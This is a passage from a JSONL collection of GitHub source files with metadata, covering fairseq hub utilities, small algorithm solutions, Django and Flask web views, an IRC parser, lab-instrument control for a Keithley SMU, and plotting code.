utils.load_align_dict(cfg.generation.replace_unk)\n\n self.tokenizer = encoders.build_tokenizer(cfg.tokenizer)\n self.bpe = encoders.build_bpe(cfg.bpe)\n\n self.max_positions = utils.resolve_max_positions(\n self.task.max_positions(), *[model.max_positions() for model in models]\n )\n\n # this is useful for determining the device\n self.register_buffer(\"_float_tensor\", torch.tensor([0], dtype=torch.float))\n\n @property\n def device(self):\n return self._float_tensor.device\n\n def translate(\n self, sentences: List[str], beam: int = 5, verbose: bool = False, **kwargs\n ) -> List[str]:\n return self.sample(sentences, beam, verbose, **kwargs)\n\n def sample(\n self, sentences: List[str], beam: int = 1, verbose: bool = False, **kwargs\n ) -> List[str]:\n if isinstance(sentences, str):\n return self.sample([sentences], beam=beam, verbose=verbose, **kwargs)[0]\n tokenized_sentences = [self.encode(sentence) for sentence in sentences]\n batched_hypos = self.generate(tokenized_sentences, beam, verbose, **kwargs)\n return [self.decode(hypos[0][\"tokens\"]) for hypos in batched_hypos]\n\n def score(\n self, sentences: List[str], replace_newline_with_eos: bool = False, **kwargs\n ):\n if isinstance(sentences, str):\n return self.score(\n [sentences], replace_newline_with_eos=replace_newline_with_eos, **kwargs\n )[0]\n\n def encode(sentence):\n if replace_newline_with_eos:\n return torch.cat([self.encode(line) for line in sentence.splitlines()])\n else:\n return self.encode(sentence)\n\n # NOTE: this doesn't support translation tasks currently\n tokenized_sentences = [encode(sentence) for sentence in sentences]\n return [\n hypos[0]\n for hypos in self.generate(\n tokenized_sentences, score_reference=True, **kwargs\n )\n ]\n\n def generate(\n self,\n tokenized_sentences: List[torch.LongTensor],\n beam: int = 5,\n verbose: bool = False,\n skip_invalid_size_inputs=False,\n inference_step_args=None,\n prefix_allowed_tokens_fn=None,\n **kwargs\n ) -> List[List[Dict[str, torch.Tensor]]]:\n if torch.is_tensor(tokenized_sentences) and tokenized_sentences.dim() == 1:\n return self.generate(\n tokenized_sentences.unsqueeze(0), beam=beam, verbose=verbose, **kwargs\n )[0]\n\n # build generator using current args as well as any kwargs\n gen_args = copy.deepcopy(self.cfg.generation)\n with open_dict(gen_args):\n gen_args.beam = beam\n for k, v in kwargs.items():\n setattr(gen_args, k, v)\n generator = self.task.build_generator(\n self.models,\n gen_args,\n prefix_allowed_tokens_fn=prefix_allowed_tokens_fn,\n )\n\n inference_step_args = inference_step_args or {}\n results = []\n for batch in self._build_batches(tokenized_sentences, skip_invalid_size_inputs):\n batch = utils.apply_to_sample(lambda t: t.to(self.device), batch)\n translations = self.task.inference_step(\n generator, self.models, batch, **inference_step_args\n )\n for id, hypos in zip(batch[\"id\"].tolist(), translations):\n results.append((id, hypos))\n\n # sort output to match input order\n outputs = [hypos for _, hypos in sorted(results, key=lambda x: x[0])]\n\n if verbose:\n\n def getarg(name, default):\n return getattr(gen_args, name, getattr(self.cfg, name, default))\n\n for source_tokens, target_hypotheses in zip(tokenized_sentences, outputs):\n src_str_with_unk = self.string(source_tokens)\n logger.info(\"S\\t{}\".format(src_str_with_unk))\n for hypo in target_hypotheses:\n hypo_str = self.decode(hypo[\"tokens\"])\n logger.info(\"H\\t{}\\t{}\".format(hypo[\"score\"], hypo_str))\n logger.info(\n \"P\\t{}\".format(\n \" \".join(\n map(\n lambda x: \"{:.4f}\".format(x),\n hypo[\"positional_scores\"].tolist(),\n )\n )\n )\n )\n if hypo[\"alignment\"] is not None and getarg(\n \"print_alignment\", False\n ):\n logger.info(\n \"A\\t{}\".format(\n \" \".join(\n [\n \"{}-{}\".format(src_idx, tgt_idx)\n for src_idx, tgt_idx in hypo[\"alignment\"]\n ]\n )\n )\n )\n return outputs\n\n def encode(self, sentence: str) -> torch.LongTensor:\n sentence = self.tokenize(sentence)\n sentence = self.apply_bpe(sentence)\n return self.binarize(sentence)\n\n def decode(self, tokens: torch.LongTensor) -> str:\n sentence = self.string(tokens)\n sentence = self.remove_bpe(sentence)\n return self.detokenize(sentence)\n\n def tokenize(self, sentence: str) -> str:\n if self.tokenizer is not None:\n sentence = self.tokenizer.encode(sentence)\n return sentence\n\n def detokenize(self, sentence: str) -> str:\n if self.tokenizer is not None:\n sentence = self.tokenizer.decode(sentence)\n return sentence\n\n def apply_bpe(self, sentence: str) -> str:\n if self.bpe is not None:\n sentence = self.bpe.encode(sentence)\n return sentence\n\n def remove_bpe(self, sentence: str) -> str:\n if self.bpe is not None:\n sentence = self.bpe.decode(sentence)\n return sentence\n\n def binarize(self, sentence: str) -> torch.LongTensor:\n return self.src_dict.encode_line(sentence, add_if_not_exist=False).long()\n\n def string(self, tokens: torch.LongTensor) -> str:\n return self.tgt_dict.string(tokens)\n\n def _build_batches(\n self, tokens: List[List[int]], skip_invalid_size_inputs: bool\n ) -> Iterator[Dict[str, Any]]:\n lengths = torch.LongTensor([t.numel() for t in tokens])\n batch_iterator = self.task.get_batch_iterator(\n dataset=self.task.build_dataset_for_inference(tokens, lengths),\n max_tokens=self.cfg.dataset.max_tokens,\n max_sentences=self.cfg.dataset.batch_size,\n max_positions=self.max_positions,\n ignore_invalid_inputs=skip_invalid_size_inputs,\n disable_iterator_cache=True,\n ).next_epoch_itr(shuffle=False)\n return batch_iterator\n\n\nclass BPEHubInterface(object):\n \"\"\"PyTorch Hub interface for Byte-Pair Encoding (BPE).\"\"\"\n\n def __init__(self, bpe, **kwargs):\n super().__init__()\n args = argparse.Namespace(bpe=bpe, **kwargs)\n self.bpe = encoders.build_bpe(args)\n assert self.bpe is not None\n\n def encode(self, sentence: str) -> str:\n return self.bpe.encode(sentence)\n\n def decode(self, sentence: str) -> str:\n return self.bpe.decode(sentence)\n\n\nclass TokenizerHubInterface(object):\n \"\"\"PyTorch Hub interface for tokenization.\"\"\"\n\n def __init__(self, tokenizer, **kwargs):\n super().__init__()\n args = argparse.Namespace(tokenizer=tokenizer, **kwargs)\n self.tokenizer = encoders.build_tokenizer(args)\n assert self.tokenizer is not None\n\n def encode(self, sentence: str) -> str:\n return self.tokenizer.encode(sentence)\n\n def decode(self, sentence: str) -> str:\n return self.tokenizer.decode(sentence)\n","repo_name":"facebookresearch/fairseq","sub_path":"fairseq/hub_utils.py","file_name":"hub_utils.py","file_ext":"py","file_size_in_byte":11543,"program_lang":"python","lang":"en","doc_type":"code","stars":28050,"dataset":"github-code","pt":"62"} +{"seq_id":"8226906711","text":"t=10\n\nfor _ in range(1, t+1):\n n=int(input())\n nums=list(map(int, input().split()))\n for i in range(n):\n mh=max(nums)\n nh=min(nums)\n mhi=nums.index(mh)\n nhi=nums.index(nh)\n nums[mhi] -= 1\n nums[nhi] += 1\n res=max(nums) - min(nums)\n print(f'#{_} {res}')","repo_name":"nihelv/algorithm","sub_path":"SWEA/D3/1208. [S/W 문제해결 기본] 1일차 - Flatten/[S/W 문제해결 기본] 1일차 - Flatten.py","file_name":"[S/W 문제해결 기본] 1일차 - Flatten.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16220346624","text":"\"\"\"Some code to help visualize and run drift stuff. Should be reworked for actual usage.\n\nCode written by a PM. Use at your own risk.\n\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom datetime import datetime, timedelta\n\nfrom ..lightgbm_diff import DataDiff\n\n\ndef run_and_visualize(\n df: pd.DataFrame,\n start: datetime = None,\n end: datetime = None,\n baseline_df: pd.DataFrame = None,\n interval: timedelta = timedelta(days=30),\n rolling_baseline=False,\n plot_dark: bool = True,\n):\n \"\"\"Helper function for demonstration purposes to run the diff calculations and visualize results.\n\n return: Results\n rtype: Results\n \"\"\"\n\n # use the first interval as the baseline\n if baseline_df is None:\n baseline_df = df[start : start + interval]\n\n results = {}\n current = start\n while current < end:\n test_df = df[current : current + interval]\n\n diff = DataDiff(baseline_df, test_df)\n metrics = diff.run()\n results[current] = metrics\n\n if rolling_baseline:\n baseline_df = test_df\n\n current += interval\n\n if plot_dark:\n plt.style.use(\"dark_background\")\n\n _visualize(results)\n\n return results\n\n\ndef _visualize(results):\n\n metrics_x = list(results.keys())\n metrics_drift_y = [results[x][0].value for x in metrics_x]\n\n fig, ax = plt.subplots(figsize=(16, 8))\n\n ax.set_xlabel(\"time\")\n ax.set_ylabel(\"drift metrics\")\n ax.set_title(\"drift metric over time\")\n\n plt.plot(metrics_x, metrics_drift_y)\n","repo_name":"lostmygithubaccount/mldrift","sub_path":"src/mldrift/tabular/utils/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34962566379","text":"import django_filters\nfrom django import forms\nfrom rest_framework import serializers\nfrom rest_framework_gis import serializers as gis_serializers\n\nfrom . import MapEntityViewSet\nfrom .generic import MapEntityList\nfrom ..filters import BaseMapEntityFilterSet\nfrom ..models import LogEntry\nfrom ..registry import registry\nfrom ..serializers import MapentityGeojsonModelSerializer\n\n\nclass LogEntryFilter(BaseMapEntityFilterSet):\n content_type = django_filters.NumberFilter(widget=forms.HiddenInput)\n object_id = django_filters.NumberFilter(widget=forms.HiddenInput)\n\n class Meta:\n model = LogEntry\n fields = ('user', 'content_type', 'object_id')\n\n\nclass LogEntryList(MapEntityList):\n queryset = LogEntry.objects.order_by('-action_time')\n filterform = LogEntryFilter\n columns = ('id', 'action_time', 'user', 'object', 'action_flag')\n unorderable_columns = ('object', )\n\n def get_queryset(self):\n queryset = super().get_queryset()\n return queryset.filter(content_type_id__in=registry.content_type_ids)\n\n\nclass LogEntrySerializer(serializers.ModelSerializer):\n user = serializers.SlugRelatedField('username', read_only=True)\n object = serializers.CharField(source='object_display')\n action_flag = serializers.CharField(source='get_action_flag_display')\n\n class Meta:\n fields = \"__all__\"\n model = LogEntry\n\n\nclass LogEntryGeoJSONSerializer(MapentityGeojsonModelSerializer):\n api_geom = gis_serializers.GeometryField(source='geom')\n\n class Meta(MapentityGeojsonModelSerializer.Meta):\n model = LogEntry\n fields = ('id', )\n\n\nclass LogEntryViewSet(MapEntityViewSet):\n model = LogEntry\n filterset_class = LogEntryFilter\n serializer_class = LogEntrySerializer\n geojson_serializer_class = LogEntryGeoJSONSerializer\n\n def get_queryset(self):\n qs = self.model.objects.order_by('-action_time')\n return qs.filter(content_type_id__in=registry.content_type_ids)\n","repo_name":"makinacorpus/django-mapentity","sub_path":"mapentity/views/logentry.py","file_name":"logentry.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"62"} +{"seq_id":"5631696769","text":"num = int(input())\nn = 1\nans = 0\nwhile(1):\n if num == 1:\n print(str(1) + '/' + str(1))\n break\n if n*(n+1)/2 >= num:\n ans = num - (n-1)*n/2\n if n%2==0:\n print(str(int(ans)) + '/' + str(int(n-ans+1)))\n break\n else:\n print(str(int(n-ans+1)) + '/' + str(int(ans)))\n break\n n += 1\n","repo_name":"reane0809/Baekjoon-Practice","sub_path":"py/1193.py","file_name":"1193.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42767431904","text":"from re import split # We need to process some regular expressions so I'll need the split function from re.\n\nimport pyvisa # Controls instruments via the VISA protocol\n\n# We create a resourcemanager instance as rm that we use throughout the pyvisa instrument control.\nrm = pyvisa.ResourceManager('@py')\n\n\ndef inst_seek():\n # This function returns a dictionary where the keys are the instrument response strings to the standard command\n # \"*IDN?\" and the values are the addresses rm found the instruments at. The address is the most important\n # information as it is needed to init instances of Inst_Class.\n insts = dict()\n for instrument in rm.list_resources():\n try:\n inst = rm.open_resource(instrument)\n inst.write('*IDN?')\n response = inst.read()\n insts[response] = instrument\n\n print(f'\\\\n'\n f' Hello, I am: {response}.\\n'\n f' My address is: {instrument} !\\\\n')\n\n except:\n print(f'Failed at address: {instrument}') # Prints a little notification if it fails at any\n # available address.\n return insts\n\n\nclass InstClass():\n \"\"\"Instrument control class for our dual channel Keithley K2612B SMU.\n Is based on pyvisa and needs an instrument address to initialize.\"\"\"\n\n def __init__(self, inst):\n # Init via rm.open_resource\n self.instrument = rm.open_resource(inst)\n self.instrument.write('reset()')\n\n def __close__(self):\n # Close via rm.open_resource\n self.__reset__()\n self.instrument.close()\n\n def __reset__(self):\n # Send reset command method.\n self.__send__('reset()')\n\n def __send__(self, command: str):\n # Send command method.\n self.instrument.write(command)\n\n def __read__(self):\n # Read method.\n return self.instrument.read()\n\n def __query__(self, command: str):\n # Query method. Includes some regular expression handling due to the TSP-python communication.\n r = split('[\\n\\t]', self.instrument.query('print(' + command + ')'))\n r_el = [element for element in r if element != '']\n if len(r_el) == 1:\n ans = r_el[0]\n else:\n ans = r_el\n return ans\n\n def sense_remote(self, channel_str: str):\n # Set 4-point.\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.sense=smu' + channel_str + '.SENSE_REMOTE')\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n # The methods below are kinda self explanatory as they are the basic controls of the SMU.\n # I will maybe comment them all later.\n\n def sense_local(self, channel_str: str):\n # Set 2-point.\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.sense=smu' + channel_str + '.SENSE_LOCAL')\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def src_I(self, channel_str: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.source.func=smu' + channel_str + '.OUTPUT_DCAMPS')\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def src_V(self, channel_str: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.source.func=smu' + channel_str + '.OUTPUT_DCVOLTS')\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n #\n # def meas_IV(self, channel_str: str):\n # if channel_str in ['a', 'b']:\n # self.__query__('smu' + channel_str + '.measure.iv()')\n # else:\n # print('Valid channels are \"a\" and \"b\". ')\n\n def measure_channel(self, channel_str: str):\n if channel_str in ['a', 'b']:\n curr, volt = self.__query__('smu' + channel_str + '.measure.iv()')\n else:\n curr, volt = 255\n print('Valid channels are \"a\" and \"b\". ')\n return curr, volt\n\n def meas_V(self, channel_str: str):\n if channel_str in ['a', 'b']:\n self.__send__('display.smu' + channel_str + '.measure.func=display.MEASURE_DCVOLTS')\n self.__send__('smu' + channel_str + '.measure.autorangev=smu' + channel_str + '.AUTORANGE_ON')\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def meas_I(self, channel_str: str):\n if channel_str in ['a', 'b']:\n self.__send__('display.smu' + channel_str + '.measure.func=display.MEASURE_DCAMPS')\n self.__send__('smu' + channel_str + '.measure.autorangev=smu' + channel_str + '.AUTORANGE_ON')\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def meas_range_VOLTS(self, channel_str: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.measure.autorangev=1')\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def meas_range_AMPS(self, channel_str: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.measure.autorangei=1')\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def src_range_AMPS(self, channel_str: str, range: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.source.rangei=' + range)\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def src_range_VOLTS(self, channel_str: str, range: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.source.rangev=' + range)\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def src_level_AMPS(self, channel_str: str, level: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.source.leveli=' + level)\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def src_level_VOLTS(self, channel_str: str, level: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.source.levelv=' + level)\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def src_limit_AMPS(self, channel_str: str, limit: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.source.limiti=' + limit)\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def src_limit_VOLTS(self, channel_str: str, limit: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.source.limitv=' + limit)\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def sense_range_AMPS(self, channel_str: str, rng: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.measure.rangei=' + rng)\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def sense_range_VOLTS(self, channel_str: str, rng: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.measure.rangev=' + rng)\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def outp_ON(self, channel_str: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.source.output=1')\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def outp_OFF(self, channel_str: str):\n if channel_str in ['a', 'b']:\n self.__send__('smu' + channel_str + '.source.output=0')\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def get_limit_I(self, channel_str: str):\n if channel_str in ['a', 'b']:\n res = self.__query__('smu' + channel_str + '.source.limiti')\n else:\n res = 255\n print('Valid channels are \"a\" and \"b\". ')\n return res\n\n def get_limit_V(self, channel_str: str):\n if channel_str in ['a', 'b']:\n res = self.__query__('smu' + channel_str + '.source.limitv')\n else:\n res = 255\n print('Valid channels are \"a\" and \"b\". ')\n return res\n\n def get_range_I(self, channel_str: str):\n if channel_str in ['a', 'b']:\n res = self.__query__('smu' + channel_str + '.source.rangei')\n else:\n res = 255\n print('Valid channels are \"a\" and \"b\". ')\n return res\n\n def get_range_V(self, channel_str: str):\n if channel_str in ['a', 'b']:\n res = self.__query__('smu' + channel_str + '.source.rangev')\n else:\n res = 255\n print('Valid channels are \"a\" and \"b\". ')\n return res\n\n def get_level_I(self, channel_str: str):\n if channel_str in ['a', 'b']:\n res = self.__query__('smu' + channel_str + '.source.leveli')\n else:\n res = 255\n print('Valid channels are \"a\" and \"b\". ')\n return res\n\n def get_level_V(self, channel_str: str):\n if channel_str in ['a', 'b']:\n res = self.__query__('smu' + channel_str + '.source.levelv')\n else:\n res = 255\n print('Valid channels are \"a\" and \"b\". ')\n return res\n\n def get_SRC(self, channel_str: str):\n if channel_str in ['a', 'b']:\n res = self.__query__('smu' + channel_str + '.source.func')\n else:\n res = 255\n print('Valid channels are \"a\" and \"b\". ')\n return res\n\n def base_test_src_I(self, channel_str: str):\n if channel_str in ['a', 'b']:\n self.__reset__()\n self.src_I(channel_str)\n self.sense_local(channel_str)\n self.src_range_AMPS(channel_str, '0.001')\n self.src_level_AMPS(channel_str, '0.0001')\n self.src_limit_VOLTS(channel_str, '0.5')\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def base_test_read_V(self, channel_str: str):\n if channel_str in ['a', 'b']:\n self.src_I(channel_str)\n self.src_range_AMPS(channel_str, '0.001')\n self.src_level_AMPS(channel_str, '0.000')\n self.src_limit_VOLTS(channel_str, '0.2')\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def base_test(self, src_chann, meas_chann):\n if src_chann in ['a', 'b'] and meas_chann in ['a', 'b']:\n self.base_test_src_I(src_chann)\n self.base_test_read_V(meas_chann)\n self.outp_ON(meas_chann)\n self.outp_ON(src_chann)\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def voltmeter(self, channel_str: str):\n if channel_str in ['a', 'b']:\n self.src_I(channel_str)\n self.src_limit_VOLTS(channel_str,'20')\n self.src_range_AMPS(channel_str,'0.000001')\n self.src_level_AMPS(channel_str,'0.000000')\n else:\n print('Valid channels are \"a\" and \"b\". ')\n\n def beeper(self,time):\n self.__send__(f'beeper.beep({time},2400)')","repo_name":"stef-ma/epnm-elex","sub_path":"mylibs/RmSetup.py","file_name":"RmSetup.py","file_ext":"py","file_size_in_byte":10927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31491764289","text":"class RFC1459Message(object):\n @classmethod\n def from_data(cls, verb, params=None, source=None, tags=None):\n o = cls()\n o.verb = verb\n o.tags = dict()\n o.source = None\n o.params = list()\n\n if params:\n o.params = params\n\n if source:\n o.source = source\n\n if tags:\n o.tags.update(**tags)\n\n return o\n\n @classmethod\n def from_message(cls, message):\n if isinstance(message, bytes):\n message = message.decode('UTF-8', 'replace')\n\n s = message.split(' ')\n\n tags = None\n if s[0].startswith('@'):\n tag_str = s[0][1:].split(';')\n s = s[1:]\n tags = {}\n\n for tag in tag_str:\n k, v = tag.split('=', 1)\n tags[k] = v\n\n source = None\n if s[0].startswith(':'):\n source = s[0][1:]\n s = s[1:]\n\n verb = s[0].upper()\n params = s[1:]\n\n for param in params:\n if param.startswith(':'):\n idx = params.index(param)\n arg = ' '.join(params[idx:])\n arg = arg[1:]\n params = params[:idx]\n params.append(arg)\n break\n\n return cls.from_data(verb, params, source, tags)\n\n def args_to_message(self):\n base = []\n for arg in self.params:\n casted = str(arg)\n if casted and ' ' not in casted and casted[0] != ':':\n base.append(casted)\n else:\n base.append(':' + casted)\n break\n\n return ' '.join(base)\n\n def to_message(self):\n components = []\n\n if self.tags:\n components.append('@' + ';'.join([k + '=' + v for k, v in self.tags.items()]))\n\n if self.source:\n components.append(':' + self.source)\n\n components.append(self.verb)\n\n if self.params:\n components.append(self.args_to_message())\n\n return ' '.join(components)\n\n def to_event(self):\n return \"rfc1459 message \" + self.verb, self.__dict__\n\n def serialize(self):\n return self.__dict__\n\n def __str__(self):\n return 'RFC1459Message: \"{0}\"'.format(self.to_message())\n","repo_name":"jwoglom/asyncirc","sub_path":"asyncirc/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7809889462","text":"from flask import Flask, request, render_template\nfrom threading import Thread\nfrom new_hunt import NewHunt\nfrom models import Item, Elem, Block, Mob\n\napp = Flask(__name__)\nFLASK_PORT = 5245\nFLASK_HOME_URL = \"http://127.0.0.1:\"+str(FLASK_PORT)\nFLASK_SHUTDOWN_ENDPOINT = FLASK_HOME_URL+\"/shutdown\"\n\ndef shutdown_server():\n func = request.environ.get('werkzeug.server.shutdown')\n if func is None:\n raise RuntimeError('Not running with the Werkzeug Server')\n func()\n \n@app.route('/shutdown', methods=['GET'])\ndef shutdown():\n shutdown_server()\n return 'Server shutting down...'\n\n\n@app.route('/')\ndef hello_world():\n return render_template('index.html', user=\"Abdisamade\")\n\n\n@app.route('/generate/')\ndef generates(level):\n\n level = int(level)\n new_hunt = NewHunt()\n\n new_hunt.connect()\n mobs = new_hunt.getList(Mob, 5, level)\n items = new_hunt.getList(Item, 5, level)\n blocks = new_hunt.getList(Block, 5, level)\n\n difficulty = 0\n for mob in mobs:\n difficulty += mob.level\n for item in items:\n difficulty += item.level\n for block in blocks:\n difficulty += block.level\n\n difficulty /= (len(mobs)+len(items)+len(blocks))\n\n return render_template('generate.html', items= items, blocks= blocks, mobs = mobs, difficulty=difficulty)\n\n@app.after_request\ndef add_header(r):\n \"\"\"\n Add headers to both force latest IE rendering engine or Chrome Frame,\n and also to cache the rendered page for 10 minutes.\n \"\"\"\n r.headers[\"Cache-Control\"] = \"no-cache, no-store, must-revalidate\"\n r.headers[\"Pragma\"] = \"no-cache\"\n r.headers[\"Expires\"] = \"0\"\n r.headers['Cache-Control'] = 'public, max-age=0'\n return r\n\nclass FlaskThread(Thread):\n def __init__(self): # jusqua = donnée supplémentaire\n Thread.__init__(self) # ne pas oublier cette ligne\n\n def run(self):\n app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\n app.run(port=FLASK_PORT, host='0.0.0.0')\n","repo_name":"Abdisamade/py-minecraft-hunt","sub_path":"embedded_webserver_thread.py","file_name":"embedded_webserver_thread.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41678485099","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.views.generic import ListView\nfrom .models import Todolist\nfrom .forms import TodolistForm\nfrom django.contrib.auth.models import User\n\n\ndef todolist_edit(request, id):\n todolist = Todolist.objects.get(id=id)\n if request.method == 'POST':\n todolist_post_form = TodolistForm(data=request.POST)\n if todolist_post_form.is_valid():\n todolist.body = request.POST['body']\n todolist.feed_back = request.POST['feed_back']\n if request.POST['is_done'] == 'True':\n todolist.is_done = True\n else:\n todolist.is_done = False\n todolist.save()\n return redirect(\"record:todolist_list\")\n else:\n return HttpResponse(\"表单有问题\")\n else:\n todolist_post_form = TodolistForm()\n if str(request.user) == 'admin':\n cur_user = True\n else:\n cur_user = False\n context = {'todolist': todolist, 'todolist_post_form': todolist_post_form,'cur_user':cur_user,}\n return render(request, 'record/update.html', context)\n\n\ndef todolist_delete(request, id):\n todolist = Todolist.objects.get(id=id)\n todolist.delete()\n return redirect('record:todolist_list')\n\n\ndef todolist_add(request):\n if request.method == 'POST':\n todolist_post_form = TodolistForm(data=request.POST)\n if todolist_post_form.is_valid():\n new_todolist = todolist_post_form.save(commit=False)\n new_todolist.save()\n return redirect(\"record:todolist_list\")\n else:\n return HttpResponse(\"注册表单输入有误。请重新输入~\")\n elif request.method == 'GET':\n todolist_form = TodolistForm()\n context = {'form': todolist_form}\n return render(request, 'record/create.html', context)\n else:\n return HttpResponse(\"请使用GET或POST请求数据\")\n\n\n# Create your views here.\ndef todolist_list(request):\n todolist = Todolist.objects.all()\n order = request.GET.get('order')\n if order == 'finished':\n todolist = todolist.filter(is_done=True)\n elif order == 'todolist':\n todolist = todolist.filter(is_done=False)\n else:\n todolist = Todolist.objects.all()\n\n if str(request.user) == 'admin':\n cur_user = True\n else:\n cur_user = False\n context = {\n 'todolists': todolist,\n 'cur_user': cur_user,\n }\n\n return render(request, 'record/todolist.html', context)\n","repo_name":"yangzongwu/mysite","sub_path":"mysite/record/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3147282873","text":"from derby.models import Heat, Car, Lane, Result\nimport datetime\n\n\nclass CarWithTime:\n def __init__(self, car, fastestTime):\n self.car = car\n self.fastestTime = fastestTime\n\n\ndef getTimes(group):\n listCars = []\n carsInGroup = Car.objects.filter(group=group)\n if not carsInGroup:\n return\n for car in carsInGroup:\n results = Result.objects.filter(\n car=car).exclude(time__isnull=True).order_by(\"time\")\n if results:\n result = results[0]\n listCars.append(CarWithTime(car, result.time))\n else:\n listCars.append(CarWithTime(car, datetime.timedelta()))\n\n # This should give us cars sorted by fastest time\n return sorted(listCars, key=lambda car: car.fastestTime if car.fastestTime else datetime.timedelta(days=1))\n","repo_name":"alan412/derby","sub_path":"derby/getTimes.py","file_name":"getTimes.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35211598674","text":"from mathgraph3D.core.global_imports import *;\nfrom mathgraph3D.core.Color import preset_styles;\nfrom mathgraph3D.core.functions.Plottable import Plottable;\n\n\nclass RecurrenceRelation(Plottable):\n\n \"\"\" Plot of a 2D recurrence relation \"\"\"\n\n def __init__(self, plot, function, seed_value, color_style=preset_styles[\"default\"], unit_scale=1, line_weight=1):\n Plottable.__init__(self, plot, function, color_style);\n self.seed_value = seed_value;\n self.step = unit_scale;\n self.color = self.color_style.settings[\"color\"];\n self.line_weight = line_weight;\n\n def draw(self):\n \"\"\" add the plot's shapes to the drawing queue \"\"\"\n last_value, last_point = None, None;\n for x in drange(0, self.plot.x_stop + self.step, self.step):\n if last_value is None:\n last_value = self.seed_value;\n last_point = self.plot.screen_point(0, self.seed_value, 0);\n continue;\n else:\n try:\n point = (x, self.function(last_value), 0);\n new_point = self.plot.screen_point(*point);\n if last_point is not None:\n self.plot.add_shape(point, pygame.draw.line, self.plot.surface, self.color, last_point, new_point, self.line_weight);\n last_point = new_point;\n last_value = point[1];\n except:\n last_point = None;\n\n @classmethod\n def make_function_string(cls, funcs):\n \"\"\" return a callable function from a string specific to the type of Plottable. to be overridden \"\"\"\n func = funcs[0];\n return lambda n: func.evaluate(n=n);\n","repo_name":"sam-lb/mathgraph3d","sub_path":"core/functions/RecurrenceRelation.py","file_name":"RecurrenceRelation.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"21298377904","text":"from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import AllowAny\nfrom Backend.models.video.video import Video\nfrom Backend.models.video.serializers import VideoContentSerializer\nfrom Backend.models.user.user import UserInfo\nfrom Backend.models.file.file import File\nimport math\nclass ContentView(APIView):\n permission_classes = ([AllowAny])\n\n def get(self, request):\n try:\n video_id = request.GET.get('video_id')\n if not Video.objects.filter(id = video_id,show = True).exists():\n return Response({\n 'result':'fail',\n })\n video = Video.objects.get(id = video_id,show = True)\n content = video.file.content\n data = VideoContentSerializer(video).data\n user_info = UserInfo.objects.get(user_id = data['user_id'])\n data['user_info_name'] = user_info.name\n data['user_info_photo'] = user_info.photo\n data['content'] = content\n return Response({\n 'result':'success',\n 'data':data\n })\n except:\n return Response({\n 'result': \"error\",\n 